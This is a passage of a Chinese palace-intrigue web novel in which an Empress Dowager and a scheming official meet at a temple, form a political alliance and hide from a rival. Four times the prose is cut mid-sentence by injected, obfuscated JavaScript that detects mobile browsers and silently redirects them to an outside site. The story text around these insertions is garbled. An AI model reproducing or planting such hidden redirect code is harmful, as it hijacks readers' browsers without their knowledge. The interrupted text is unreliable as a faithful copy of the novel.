密因温言:“佛言‘心平何劳持戒?[1]’,礼佛形式次数不在多寡,只在一念真心,娘娘如今有心,就已足够了。况娘娘每次来时,都不禁他人谒佛祝祷,只自隐一隅,不夺他人佛香,便已是功德了。” 上官栩笑叹:“大师这样说真是折煞我了,我虽微服前来,但每每来此都要请寺中师父们清闭后院,实觉愧疚。” 密因宽慰道:“后院多僧舍,又因是藏经阁所在,寻常香客本就不常至,娘娘不必忧心。” 上官栩笑了笑,不再多言。 —— 按照上官栩以往的习惯,抄经结束之后,她还会至前院的大雄宝殿拜一拜,她其实并不信佛,但却觉得那是一个能诉心绪之处。 大雄宝殿内,所有人拜佛像,祈己愿,是真心最为浓烈的地方,所有人都只念心中所想,没有谎言,没有欺骗,或许就如她刚才所说的,那儿便是最适合和故人说话的地方吧。 然这次她刚去到通往前院的小门时却了一个熟悉的人。 那人也一眼看见了她,微露诧异。 徐卿安刚和僧人说完话准备离去,就见上官栩衣着简约,款款而来。 他神情稍滞一下,便立马拱手行了个浅礼:“贵人竟也在此处。” 难怪入寺时有诸多着便装的行伍之人。 上官栩来净明寺是每年都会安排的行程,为母诵经,是孝善之举,朝廷官员知道自然也不会多说什么。 只是上官栩说不想因她出行而影响百姓礼佛,都是微服前来,但也难推脱朝官请奏,也因此多带了禁军作便装相护,同时也将后院清闭出来。 上官栩见徐卿安没有唤她娘娘而改唤为贵人,便知他明白她今日是微服而来。 她走到门前位置,期间一路将他上下打量一番,微微扬笑道:“好巧。徐大人这是病好了来礼佛?” 徐卿安含笑回道:“烦劳贵人关切,身子是好些了,此前听闻净明寺是长安名寺,而在下来长安这么久也没来拜访过,便想着趁今日雨天人少到这里来走走,也正好请佛祖多多保佑在下的身体。” 说着他笑了笑:“难怪刚才入寺时发现今日仍是香客诸多,且多有不凡,原来是因贵人在这里。” 上官栩眼眸微觑一下,似惊奇道:“徐大人当真眼慧,纵是香客有什么不同也能看出来。” 徐卿安也并不谦虚:“在下之前在御史台任职,御史嘛,做的不就是那些挑人错处的差事吗?若不眼尖些又如何能将差事做好呢?” 上官栩点点头,眉露思忖,虽不见得多有诚意,但对他说的理当真是没忍住笑了笑:“我刚才倒是说漏了,徐大人不仅眼慧,还能说会道,当真是双元之才啊。” 徐卿安这下礼数十足:“贵人谬赞了。” 他应是还想说什么,但上官栩却抢先说了打发的话,她只说净明寺不仅道场出名,就是寺院风光也好,让他可以在此多逛一逛,也算久病卧床之后的活动,能对身体有所助益。 如此说完,徐卿安便也明白了她的意思,遂而识趣地拱手请退了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715886|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' —— 上官栩独自在大雄宝殿内呆了有一阵儿,等心中所想都倾诉完后,她才慢慢起身。 青禾过来将她扶起,见她神色恹恹,心中纠结了一阵,才问:“听方丈说,今日后山人少,娘娘今日要去么?” 上官栩轻嗯一声,依旧没抬眼:“既是人少那便去吧。” 青禾颔首,心中不是滋味。 净明寺修建之初就是在长安城中的一片高地上,后来修建时挖出的多方土石便被集中到了一处,再予以修饰,进而有了净明寺后山。 净明寺不止是上官栩母亲喜爱来的地方,也是上官栩和他一起来过的地方。 刚才在大雄宝殿中的一番倾诉又不免伤情,故而问到上官栩是否要去后山时,青禾才踟蹰了一会儿。 只是后山风景秀丽,寻常时间的游人甚至有不少不为礼佛,而是只为登后山而来,遣民封山实扰民乐,上官栩实不愿行此举,所以她以往纵是想去,也都会选择不去。 不过今日人少,带几个人随身就够了,更不必行封山之举,倒也方便许多。 长安城里多平地,如净明寺后山这样的高度就能俯瞰到很远的距离。 少时,他们曾来过一次。 他先是一朝太子,后又是一国主君,能出宫的机会本就不多,就是偶尔出来也多是因国有大典需要他主持,那时他身上更多的是责任,而不是只相伴于她身侧的郎君。 如此想来,其实他留给她的可供追忆的故地并不多。 长安这几日下了雨,林间清幽,山石板路上还残留着雨水浸润的痕迹。如此环境,倒适合林间独步。 而雨后阴日,最是多愁绪时,上官栩便干脆止了随侍,独自登山。 净明寺后山步道宽敞,就连山中歇脚的地方也多,而上官栩刚从山地往上,拐过一个山弯,就见一间亭子下,坐了一个人。 徐卿安袖口微坠,长指白腕皆露于外,支手抚着一丛花叶,恰若琼树临风,自成画卷。 而今日山间人少,便是周围只要路过一个人,徐卿安都能察觉。 他亦转头望去。 刹那间,时间静默,山风携露而过。 徐卿安袖袍微扬,上官栩裙摆如飞,二人对视,皆有惊色,亦双双无言。 19. 第 19 章 两人间的对视,还是徐卿安先回过神,他徐徐起身,拱手行礼道:“参见太后娘娘。” 如今周围无旁人,徐卿安便唤回了她的身份。 而他姿态恭敬,脸上也没有往常那般的半分浮笑。 可哪怕他这般与寻常不同的正经,上官栩眼中也依旧警惕:“今日真是巧啊,又和徐大人见面了。” 徐卿安这才带上笑:“早就听闻净明寺后山上树木成林,若步行其间,当幽幽别有一番风味,今日得见,果然如此。” 上官栩依旧凝眸不语。 徐卿安便挑了挑眉,低笑一声,答了她心中的疑惑道:“不是娘娘告诉臣,净明寺不仅道场厉害,就是风光也好么?娘娘建议臣在外多逛一逛,以此养身,臣自然是要听从的啊。” “是么?”可上官栩反问,并不信他的话。 徐卿安无奈叹一口气,似受不住这样的审视,只得用承认的语气道:“果然什么事情都瞒不过娘娘,其实臣来此处就是想试一试运气,看能否碰上娘娘,同娘娘行一段路。” 哪有什么刻意为之,不过路行此处,想起以往诸多种种,一时难以离去罢了。 然而这唯一一次毫无谋算的相遇,他却偏用虚辞饰之,偏偏给它加上了一层算计的意味。 但这不仅是她想听的,也是他需要自己亲口说出来的。 那些往事,他本就不该沉溺。 徐卿安不觉压着苦意笑了笑:“都说佛讲心诚,看来臣今日的诚意到了,果然就在这佛门之地得偿所愿了。只是不知娘娘想法如何?可能容臣相伴左右,予臣这份荣幸?” 上官栩迎上他含笑的双眸。 以往,她游此处时总是有故人相伴,赏万物风景,然今时不同往日,她每每路过故地,所想更多的都只是重游二字,不与人作陪,不与人相叙,只独自追忆。 可若真要有人相伴,他……也不是不行。 纵是许多方面都大相径庭,然天地旷渺,世间万物本就难寻肖似者,如今能有十之一二……确也难得。 确也足够。 —— 登山的路上,二人都没有说话,各怀心事。 徐卿安身位稍后一点,在行进间便能更好地观察到上官栩的神态和动作。 如今已经走到山脚往上的第二个歇脚的平台,他已渐渐从往事中回过神,只觉二人不能再这样相处下去,否则容易让她发现什么端倪。 而他刚要开口时,上官栩便蓦地停下,转身冷冷看向他,突然问道:“徐大人今日在此等候,到底是想与我说什么?” 在徐卿安回神的同时,上官栩也已在那自欺欺人的陪伴中感受够了,遂当下,她问得直接,打破二人之间一切不真实的氛围。 而徐卿安抬眸与她相望,双手相握,垂在身前,脸上依旧微微带笑。 但是他含笑望她,她却并不回应,只眸光幽幽,静静地等着他的回答。 他便拱手恭敬道:“臣今日在此等候,不是想与娘娘说什么,而是想听娘娘给臣的答案。” 他说回往事提醒道:“数日前,娘娘驾临臣的宅邸,臣曾向娘娘表过忠心,只是到最后,娘娘似乎也没有给臣一个明确的答复。” “没有么?”上官栩颇具玩味地笑一下,“我记得我应该对你的话表过态吧。” 徐卿安道:“娘娘是说了不舍得杀臣,不会辜负臣之类的话。” 他抬眸,面露委屈道:“可是娘娘,臣若无罪,您本就无由杀臣,而臣若有功,就是娘娘不赏,中书省和吏部也总会依例对臣论功行赏,如此,娘娘说的那话实在让臣没底。” 他眸色卑微,一步一步向她靠近:“我以真心待娘娘,将毕生软肋和所有见不得光的过往全都交到了娘娘手里,难道还换不回娘娘的一句真心话吗?” 他语气虽缱绻,姿态也放得很低,但这样的情形下距离的缩短,却更似循序引诱般,在逼着她回答。 可上官栩却立在原地,一眼不眨,任他靠近,任他周身气息将她笼罩。 直到他停在她身前,她才微微一笑,将诸事直接挑明道:“真心待我么?什么都交到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715887|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手里了么?可是你为何至今仍将一些事情隐瞒,不肯告诉我?” “比如,你和张凡的关系,又比如,你在牢里和刘昌真实说过的话。” 二人眸光同时一暗。 而上官栩脚下慢慢迈出,一步一句,竟反将他步步逼退:“张凡是你老师,位列相公之位,你说苏望心腹众多轮不到来重用你,那你为何不去找张凡?你是张凡嫡系,按理,他才是你的首选,可你为何却要舍近求远来找我?” “你此前说,刘昌转述给他背后之人的那些话是你刻意激他所致,可是刘昌纵然是个蠢货但却也不至于是个完全的傻子,他不仅知道他背后之人不会救他,他还知道,只要他将那些话说出去,他立马就得死。” 上官栩停下,仰脸望他,目光灼热明亮,就似将他所有隐于暗处的秘辛照得藏无可藏。 她嗤笑一声:“莫非徐大人是想告诉我,反正他觉得他早晚都得一死,与其在恐惧之中挨到秋决,不如求他背后之人给他个痛快?可若他真有如此觉悟,他还会落到如今这个下场?” 她讥讽之中带上质问:“徐大人,这就是你给我的真心?” 望着上官栩似笑非笑的眼,徐卿安眼眸幽深,就如藏在昏暗中的曜石,净冷,看不透,然而若有光一照,便能反出熠熠的光。 “大人,这就下山回寺里了吗?” “再去转转吧,她应当还没走。” 突然,往上的山道上传来交谈声,声音由远及近,打破了平台上对峙的紧张气氛。且那声音熟悉,让上官栩心下一紧,不待徐卿安回答便先转头去看,然而腰上却是骤然被施了力,一下被拉了出去—— 徐卿安一把将她搂抱住,并不与她商量地就转身带着她往身后的山坡野道里去。 上官栩大惊,下意识就去推他,想往外挣出去的同时准备开口呵啧。 而他却越搂越紧,俯身靠近,手指做出噤声的手势:“嘘。” 他面对她微愠的神情重新噙起笑,低声道:“苏中丞来了,娘娘是想带着臣出去和他见一见么?” 20. 第 20 章 苏然带着随从沿着山道从山上下来,上官栩被徐卿安钳着腰藏在山坡后野道中。 近日多雨,天空阴郁,虽才过半下午,但山间的光线已经变得昏暗,再加上周围林木丛生,两个人藏在里面,不仔细去看根本发现不了。 徐卿安背紧靠在山坡上以掩藏自己的身形,上官栩则被他紧紧抱着,贴在他身前。 他的力道其实有点大,上官栩的手抵在他胸膛上也攥紧了他的衣袍,偶尔会拧到他的皮肉。 徐卿安看了眼外面的情况,回头过来小声地好心提醒道:“娘娘轻些,苏中丞还没走呢,要是臣一下没忍住,叫出声了被他发现可如何是好?” 他含笑地对上她愤恨的双眼,早知她此举是故意对他的报复,可是他偏偏揽得更紧。 “哦……”上官栩松开了他的衣服,声音柔柔,“原来徐大人不吃痛啊。” 徐卿安得寸进尺道:“是啊,臣可怕痛得很呢。” 然而下一刻他便神色一僵。 只因抵在他胸膛上的手慢慢挪到了他的颈后,他身前的人踮着脚尖将自己挂到了他身上! 他双目微瞠,偏头看去。 上官栩好整以暇地笑了笑:“那不如这样,徐大人不吃痛,我也更好藏一些。” 为躲旁人,与一青年男子藏匿于幽深处,姿态亲昵,气息声交互,这分明是逾距越轨之举,可上官栩却竟觉心中生出一股隐秘的刺激感,这种禁忌的感觉不致恐惧,反而带来了一种前所未有的奇异快.感。 瞬间,她也明显地感觉他的呼吸发生了变化,从他的神情来看他也并没有反应过来,可是从他的眼底中却又似透着一缕莫名的怨怼。 而比起感受那种禁忌的刺激感,她更多的是想看他的丑态。 可是二人对视不过须臾,他手上力气就突然再加重,一只手搭上她的后背用力,让她上身全部倚在了自己的身上。 “嗯!”上官栩被弄得闷哼一声,全身被禁锢。 徐卿安俯身将下巴抵在她的肩上,闭上眼压抑住自己的情绪,呼吸滚烫。 他的声音颤在她的耳侧:“臣……谢娘娘抬爱!” —— 苏然和随从行至了刚才二人刚才所站位置,那里有石凳歇脚,还算干净,苏然便也坐下暂歇。 随从继续刚才话道:“大人不打算回寺里,那现在下山可有想去的地方?” 苏然通过树木之间的间隙看出去,山下就是净明寺,寺中殿宇房舍鳞次栉比,唯见藏经塔楼高高耸立。 他叹道:“也没什么想去的地方,只是不想回去与她见上面罢了。” 随从颔首:“大人来净明寺本意就是为了静心,确实不宜再和旁人周旋。” 苏然沉吟:“不只是不想和旁人周旋,最主要的还是因为那个人是她……” 此番御史台大乱,工部被打压,虽明面上她也只是被牵扯其中,但却在每一步中她起到了关键的作用。 就连他此番受挫也是因为她,他来净明寺本就是来静心的,不是来寻不痛快的,有些人不想见自然就不见。 忽然,一旁的山坡后传出一阵簌簌声,苏然立马起身看去。 他凝眸警惕,脚下微动,准备去查看。 然而飞出来的不过是一只鸟罢了。 苏然松一口气。 不过如此一遭他也没兴致,转身对随从道:“走吧,再去山脚下逛逛。” —— 脚步声渐远,山坡后的人影慢慢显现出来。 上官栩望着苏然离去的方向缓缓步出,说道:“其实和他碰上也没什么,他知道我在净明寺,就算碰到你我在一起也不是什么见不得人的事。” “多一事不如少一事嘛。”身后清冷的说话声响起时还附带着脚下踩在杂草上的声音,“而且听刚才苏大人话中的意思,他似乎也并不想见娘娘。” 上官栩回身,见徐卿安向她走来,然他嘴里虽说着话,眼睛却并没看路,反而是左手的手掌握着右手的手腕,右手五指虚虚几握,视线就落在掌心之中。 似用力太久之后需要活动又似是在……回味什么? 徐卿安抬眼,见上官栩正在看他,自然地收回手背到身后,藏下自己的心思。 他笑道:“再者说,就算娘娘觉得没什么,但也难保旁人会用来做文章,您想想,他刚才那话的意思是为何不想见您?” 上官栩了然:“无非就是因为御史台和工部的事情罢了,这段时间他停职赋闲,想来家里的那位相公也对他说了些什么。” “对啊,所以他现在说不定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715888|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 记恨着娘娘呢,娘娘可不能给他报复的机会。” 上官栩闻言看去,徐卿安对她扬眉一笑。 一朝太后私下会见臣子,事情确实可大可小。 可她勾唇道:“记恨我?恐怕在他心里还是徐大人的分量更重一些吧?” 毕竟扰乱御史台全靠的是他在三司会审上的那张嘴。 徐卿安也干脆承认道:“那臣便多谢娘娘照顾了。” 而说到这个,上官栩突然问:“你刚才……没事吧?” 刚才苏然听到的那阵簌簌声其实是徐卿安脚下失力,身体趔趄,碰到了坡上的杂草发出的。 徐卿安敛了笑意,摇摇头:“没什么大碍,大概是身体还没好全吧,刚才多亏了娘娘。” 刚才若不是上官栩眼疾手快,握了把细土向一旁的鸟儿撒出去,苏然还真可能会发现他们。 上官栩想起之前徐卿安用的药,问道:“你的身子到底是什么情况?上次在你府中我就想问,纵是狱中环境不好,但也不至于出来之后像你那样吐血。” 徐卿安浮起笑,目光幽幽:“娘娘不是责怪臣有许多事情没有告诉娘娘么,那臣今日就将那些事情全都讲出来,娘娘可愿听一听?” —— 苏然下到山底,见青禾和一众侍女侍从站在登山口,他心中立时烦闷,本想转身就走,然而却又觉得青禾或许已经看到了他,便不得不硬着头皮往下走过去。 “苏大人。” “青禾掌事。” 苏然原以为上官栩应也在这儿,然而他与青禾见礼之后却不见上官栩的身影,不由得问道:“太后娘娘呢?她不在这儿吗?” 青禾微诧异道:“娘娘独自上山了,苏大人没碰到么?” 苏然跟着惊讶:“什么?” 净明寺后山只修葺了一条山道,上山下山都要走同一条路。 苏然眸色微沉:“我自山顶下来,一路都没有见到过娘娘啊。” 他想起刚才在山上听到山坡后不寻常的动静,拳头握紧,而表面忧忧道:“山道只一条,我确实未曾见过娘娘,然而如今天色渐黑,娘娘又是独自上山,青禾掌事还是快带人上山寻一寻吧。” 青禾面泛担心:“嗯。” 苏然再言:“我和你们一起。” 21. 第 21 章 山上,徐卿安眉头微蹙,他面露难色,委实纠结:“该从哪儿讲起好呢?嗯……既然娘娘已经查过臣,那臣便先从娘娘查不到的地方开始说起吧。” “刘昌。”徐卿安抬眼笑,“刘昌的那些话确实是臣激他所致,不过娘娘说得也对,他不至于觉得自己活得太长而自寻死路,相反他还怕死得很。” “所以臣就稍微骗了骗他,说臣能救他性命,只消他把那些话说出来。” 上官栩好奇:“骗?” “瞒天过海,起死回生。” 徐卿安将这八个字说得别有深意。 上官栩思忖一瞬后道:“假死?”又冷笑一声,“真是个蠢货,这都相信。” 徐卿安替刘昌辩解两句:“唉,无路可走,无人愿救,他若想活,便只能相信我,只是终归是臣骗了他。此前臣不将此事说与娘娘,其实也是因为自觉理亏,怕说出来让娘娘对臣的印象不好。” 说完他又问:“或者说娘娘是想知道臣是如何让他相信的?那容臣再详细说来……” 上官栩瞥目打断道:“不用了,我既已知晓你是如何做的,其中细节我便不感兴趣。” 徐卿安配合着点头:“好。” 可上官栩继续问:“其它的呢?” “其它的……”徐卿安思忖道,“张公确实是臣的老师,但平心而论,纵是如此,娘娘也是比老师更好的选择。” 他道:“其实臣选老师和臣选苏相公是一样的,老师虽是一朝相公,但以如今形势来看,老师的相公之位和苏相公的实在相差甚多。” “大晋朝虽是施行群相制,然而现在的情况却是……那个‘群’字并不明显。老师都尚且无法保证职位应有之权,那么臣这个嫡系又要等到什么时候才能得到大展宏图的机会呢?” “等到老师能够像苏相公那样挥令群臣的那天么?”徐卿安无奈笑一下,“那与其等到那天,臣为何不直接向苏相公示好,一点一点地在他手下把资历挨上去,成为他的心腹,让他直接重用我?” 上官栩道:“你这话倒提醒了我,你此前说你不选苏公是因为他心腹众多,子侄众多,你难以因此得到重用,可是徐大人,你这般聪慧,得他信任应也不是很难的事吧?就算要费些时日,但是他手下的机会可是比我的多得多啊。” 徐卿安答道:“娘娘也说了,要费些时日,可是时日于臣来说就是最紧要的。娘娘见过臣狼狈的样子,娘娘觉得臣还有多少时日可活?” 上官栩想起御医对她说过的话,他服用的药已是用来吊续性命的了。 可是分明是令人悲切的话,他竟还带着笑意,就像他口中说的短命之人是旁的与他不相干的人一般。 上官栩似笑非笑:“但是看起来徐大人似乎心态很好?” 徐卿安这才叹道:“人生于世嘛,能活一天是一天,何必为了一些既定之事伤春悲秋?还是及时行乐来得快哉。不过也正因如此,许多该争的事情还是得争一争。” 上官栩凝视他:“你和你的老师真的很不一样。” “哪里不一样?” “他更无为。” “我呢?”徐卿安请教。 上官栩轻笑一声:“你更张扬。”她双眸微觑,好奇道,“你师承张凡时年岁尚小,按理说,你们师生之间不应有如此大的差别。” 徐卿安点头,勾唇道:“看来臣的生平娘娘查得详细。” 他说:“臣的确五岁拜张公为师,迄今已有快二十年,可是娘娘不知臣拜师不久,老师便远赴京城参加铨选,而后中试去地方为官了么?” “娘娘应该还知道,臣还有位年长臣几岁的哥哥,他更先拜入老师门下,其实他才是老师的得意弟子,臣不过是沾了他的光才有幸忝列师门。” “只是可惜三年多前洛州水灾,长兄路过时不幸遇难离世,臣未得他太多教诲,也未得老师太多真传,故而风格也就与他们并不相像吧。” 说到此处,徐卿安停了停,神情落寞,似在对故人缅怀。 然后他才再道:“兄长早逝,自身多病,娘娘觉得臣经历这些之后,臣还应该对自己的一腔抱负循序渐进,徐徐图之么?” 上官栩思忖,他的确没有那么多时间。 而他也看出了她所想,紧接着说道:“旁人逐志,是与竟者争,与自己争,而臣在此之上还要与时间争,所以臣若想尽早实现青云之志,臣便不能将时间都耗在那些需要按部就班的事情上。” 上官栩接言道:“所以你选我,是因你觉得我可用之人很少,而历来朋党之间争权夺利是最快的上位之径,且我用你谋事,事成之后你就是大功臣,而你也能因此得到你想要的。” 她声音微沉带厉:“你这是在拉着我和你一起赌!” “是赌么?”徐卿安望去,“娘娘不也有匡扶皇权的想法么?” 他轻叹:“就算是赌吧,然而这也是臣一人的赌局,臣既决意投身娘娘,自然事事都要挡在娘娘身前,开路也好,御敌也罢,臣左不过就是娘娘手里的一把刀,什么时候娘娘觉得臣这把刀无用了,拖累娘娘了,娘娘也只管弃了就是,不必担心臣牵连到娘娘。” 他笑了笑:“臣寿数已定,这些事情还是看得开的。” 纵是其中真假不知,可说得这些话也到底有理。 上官栩沉默。 而徐卿安一眼不眨地关注她的神情,突然凝眸道:“而且……臣还有一个非选择娘娘不可的原因。” 上官栩瞧过去:“什么?” 他目光盈盈,情真意切:“臣还……爱慕着娘娘。” —— 饶是知道他一贯爱花言巧语,上官栩听到这句话时还是惊了一瞬。 她微微恍惚,蹙眉道:“你说什么?” “臣说,臣爱慕娘娘。”他丝毫不躲避她的目光,相反,相比于上一句话,他这次说得竟还要更认真。 上官栩觉得自己简直就要被他欺骗。 徐卿安拱手:“臣自杏园宴上见到娘娘的第一眼时,臣便觉神摇意夺,只是初时,臣以为那不过只是惊鸿照影、刹那惊艳,想如娘娘这样皎如明月的人物,自是容易引人欣赏,臣也不过其中之一而已。可是后来,随着臣与娘娘之间不断的接触,臣才知晓臣已对娘娘生了不该有的心思。” 上官栩轻笑:“既知是不该有的心思,你为何还要说出来?” 徐卿安:“若论君臣,这自是悖德僭越,但若只论男女呢?臣也不能诉明情意么?” 上官栩无言,忽而想起他刚才从山坡后出来时的动作…… 原来他早就心思不纯,他刚才就是在……! 可恶。 徐卿安见她不说话,脚下往一旁动了几寸,歪垂着头含笑地去寻她视线。 “娘娘也不必生忧,臣自知是臣一厢情愿,只是实在是今日情难自禁,一时没忍住便说了出来,臣不会求娘娘给臣交代的。” 上官栩讥讽:“你还想要交代?” 徐卿安拱手:“臣失言。” 他低头之际再抬眼悄悄瞧了她一眼,说道:“今日之话确实是臣一时唐突,惊扰到了娘娘。为表歉意,不如臣为娘娘赔上一桩补偿之礼可好?” “又送礼?”上官栩揶揄道,“上次送个礼徐大人可就把御史台搅得一片混乱,这一次又是看准了哪儿啊?” 徐卿安含笑,干脆道:“娘娘不都说了么,御史台乱了,那么就总得收拾收拾。” “哦?你是想……”上官栩听出他话中之意,将说不说。 徐卿安顺着步道往山下看了眼道:“刚才那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715889|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏大人娘娘觉得如何?” 上官栩一下了然,凝眸沉声:“他可是苏公最器重的侄子。” 徐卿安却道:“在他之前,苏四郎应该才是最受器重的吧?呵,下场还不是那样。” “苏相公树大根深,娘娘无论是想将他连根拔起,还是压制他的势力,硬碰硬都绝对讨不到好处,只能从旁开始,斩其枝丫,削其羽翼。” “所以你就最先选择了苏行正?”上官栩语气听不出好坏的,“以前在御史台时,他可是你的官长啊,你就这么对他?” “娘娘此言诧异。”徐卿安接言,眉目间带上怨色,“他虽是臣的官长,但其实刘昌背后的人到底是谁,娘娘与我都心知肚明,如今臣背上的鞭痕仍在,臣又岂敢忘其伤痛,而事情行到这一步,他之后会如何对臣,臣也清楚,故而充其量这也不过是臣的自保罢了。” “再者说了,古人有云‘用兵之道,攻心为上,攻城为下;心战为上,兵战为下’[1],朝堂之争亦是如此,臣先选他也正如娘娘说的那样——这位苏大人备受器重,那么若是最受器重之人折戟沉沙,颓然倾覆失势,那他身后的培育之人是否也会因此身心受创,元气大伤呢?” 他微微笑了笑,如今表情温润,看似无害,嘴上却说着最无情,最让人胆寒的话—— “百足之虫死而不僵,那就让其将死之前,百足尽断。” —— 风拂树动,草叶沙沙。 密林中,上官栩与徐卿安望着,长久无言。 她总算知道她为何分明抵触他却又需要他,但又还带着一股无端的恶意。 只因他眉眼之间带着她多年已不见的故人气韵,每每与他相望时,她视线都控制不住地停留。 可也正是因此,她厌恶他! 故人的气韵干净高洁,是她认为的世间上最美好的郎君,可是眼下这个相似之人却行着与他背道而驰的事情! 纵是千人千面,上官栩缺也始终觉得他带着故人的影子。 明月高洁、雅正,而他阴鸷、腌臜,他自是远远比不上故人,可偏他就像暗夜潭水,纵是明月高悬,他也总能倒映出一抹浊晖。 这又何尝不是对故人的玷污? 上官栩深深凝望着他,心室中愤意翻涌。 然而转念一想,那又如何呢? 故人已逝,世间本就没有与之相替之人,她如今要做的本就是那些肮脏的、让人不齿的阴谋诡计,这又和她以往相悖了多少呢? 她既已决意于见不得光的污秽中行走,那本就是要寻一个能在暗夜里为她所用的人啊。 而他虚伪、狠毒、不择手段,不正好么?能有几分故人气韵也不过意外所得罢了。 如此想来岂不也是另一种意义上的好事? 她忽然压抑着,却又透着肆意地低笑几声。 也罢也罢,这样的人管他真心多少,利用也好,虚与委蛇也罢,只要能为她所用,不然他若真转投于苏望旗下,那才是祸害无穷。 而倘若他真有心于她,她也不必避如蛇蝎,相反那便是她能掌控他的最好利器。 徐卿安哪知她现下所想,只觉她笑容肆意、张狂,心绪蓦地沉下,又隐隐作痛,起了愠意。 “娘娘……”他开口轻声唤她,如今已无半分笑意。 而上官栩静下来,眼尾笑意仍在,目有痛快之意:“好,从今日起,你我携手共谋事。” “赢了,我兴皇权,你登青云,输了……” “输了,臣下地狱,娘娘……”徐卿安眼底闪烁一瞬,嘴角扯出笑,“再择良机,东山再起。” —— “娘娘!” 话音一路,山下突然传来青禾的一声高喊声,而伴随着这声音的同时,其他的寻喊声也纷纷响起。 22. 第 22 章 苏然本想赶在前头,到刚才下山时歇脚的位置查探情况,谁知青禾突然大喊起来,他迟疑一瞬,只说担忧太后娘娘的安危,三步并作两步地就往山上跑去。 青禾紧随其后。 然而奔袭一路,到了刚才的位置时却找遍了都没发现奇怪的痕迹。 青禾见状上前道:“苏大人是掉了东西么?” 苏然回过身,尴尬笑一下:“没有,这不是担心娘娘勿入小径迷了路么,便想着到林子里来看一看。” “哦。”青禾低低地应一声,探头往他身后的林子看了眼,道,“不过这林子看起来并不像有人来过的,野道多险峻,苏大人还是小心些,莫要走得太进去了。” 苏然微笑颔首:“多谢青禾掌事提醒了。” “青禾。” 二人话音刚落,身后稍高处的位置就传来轻喊声。 青禾和苏然闻声寻去,见上官栩正站在山道上,似刚从山上下来,面上微有不解地看着他们。 在场所有人见到上官栩之后都纷纷向她行礼。 上官栩边走下去边问道:“青禾怎么上来了,苏五哥也在这儿,你们……是一起的?” 青禾如实道:“是奴婢在山下等娘娘时遇见了苏大人下山,彼时寒暄几句,问了苏大人是否见到过娘娘,然而苏大人却说并未与娘娘碰过面,而上下山的道路只有一条,奴婢一时生了担忧,便带了人上来寻娘娘。” “苏大人也忧心娘娘安危,故而就与奴婢一起上山找娘娘了。” “哦,原是这样。”上官栩听完之后叹道,又紧接着惊奇道,“苏五哥刚才才从山上下去?” 苏然点头。 上官栩笑道:“这倒真是奇了,你我竟然没碰上。哦,我想起来了……”说着,她骤然醒神,“我刚在半路上发现一丛芍药花叶,一时好奇周围长了多少,便往林子里走了走偏离了主道,或许就是那时错过了。” 净明寺后山一路上都种了许多花,各类品种都有,每年二月中下旬到五六月都是花季。 而上官栩喜爱芍药,苏然也是有所耳闻的,故而道:“娘娘没事就好,只是娘娘以后还是要小心,那些没有修葺的山道地方易有隐患,娘娘独自在外若是遇到了不好应付。” 上官栩笑着轻嗯:“苏五哥的提醒我记下了,不过那位置还算平坦,我进去前也是观察过,就在下面那处歇脚平台旁的林子里,等之后花开了,苏五哥也可以去看看。” 苏然含笑应是。 上官栩带着青禾下山了,离开前她还问了苏然是否要一起,苏然借口推脱,上官栩自是知道他要去做什么,也不管他,笑了笑就带着人走了。 —— 天色渐暗,驶出净明寺的马车带出一长队人,只片刻,净明寺中的香客就去了十之八.九。 后山上,随从从野道里出来向苏然道:“大人,确实背后有很大一片芍药花丛。” 苏然再往后乜一眼,冷声道:“走吧,她回宫了,我们也可以下山了。” 树林阴翳下,地势更高处,徐卿安藏在山道拐角后一目不错地望着下山的二人。 早些时候,在青禾的那声“娘娘”传来时,上官栩便意识到了不对。 “糟了,后山只一条山道,刚才虽刻意躲了苏行正,但他肯定碰上青禾了,青禾不知情况,稍微一问,苏行正便知晓我上了山。” 徐卿安道:“娘娘是觉得苏中丞又去而复返了?” 上官栩警惕道:“青禾来寻我定是苏行正说了什么,而她应也是半道察觉到了端倪,否则不会发出这样的喊声。” 上官栩立马转身:“不能让苏行正在这儿碰见你我在一起。” 可她刚准备往上走,手下却被蓦地拉住。 